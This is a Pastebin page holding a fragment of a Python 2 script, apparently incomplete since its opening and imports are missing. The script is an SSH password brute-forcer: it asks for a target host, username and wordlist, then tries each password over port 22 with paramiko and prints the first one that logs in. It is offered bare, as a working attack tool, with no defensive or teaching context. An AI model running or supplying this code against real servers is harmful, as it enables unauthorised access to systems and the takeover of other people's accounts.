Advertisement
Guest User

hi

a guest
May 20th, 2016
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.52 KB | None | 0 0
  1. \n\n
  2. """
  3.  
  4. def _brute_():
  5.    global host,user,wordlist;
  6.    host = raw_input("[*] Target Server : ");
  7.    user = raw_input("[*] Target User : ");
  8.    wordlist = raw_input("[*] Wordlist : ");
  9.  
  10.    ssh = paramiko.SSHClient();
  11.    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy());
  12.    f = open(wordlist,'r');
  13.    data = f.readlines();
  14.    len_data = len(data);
  15.    print "[!] wordlist contain [ %s ] words."%len_data
  16.    print "[!] connected to target ssh [ %s ]."%host
  17.    print "[!] starting attack on user [ %s ]."%user
  18.    print "\n\n";
  19.    for pas in data:
  20.        pas = pas.replace("\n","");
  21.        len_data -= 1;
  22.        try:
  23.            ssh.connect(host,port=22,username=user, password=pas);
  24.            print "\n";
  25.            print "------------------------------------------------------------------"
  26.            print "[ %s ] [success] user : %s | password : %s ."%(len_data,user,pas);
  27.            print "------------------------------------------------------------------"
  28.            sys.exit(1);
  29.        except paramiko.AuthenticationException:
  30.            print "[ %s ] [error] password %s is not correct."%(len_data,pas);
  31.  
  32.  
  33.  
  34.  
  35. try:
  36.    _brute_();
  37. except KeyboardInterrupt:
  38.    print "\n\n\t[ok] operation cancelled successfully [ ctrl + c ] pressed.\n\n";
  39.    sys.exit(1);
  40. except socket.error:
  41.    print "\n\t[fail] unable to establish connection on target ssh [ %s ]."%host;
  42.    sys.exit(1);
  43. except IOError:
  44.    print "\n\t[fail] unable to open or read wordlist. please recheck it again.\n\n";
  45.    sys.exit(1);
  46. except:
  47.    pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement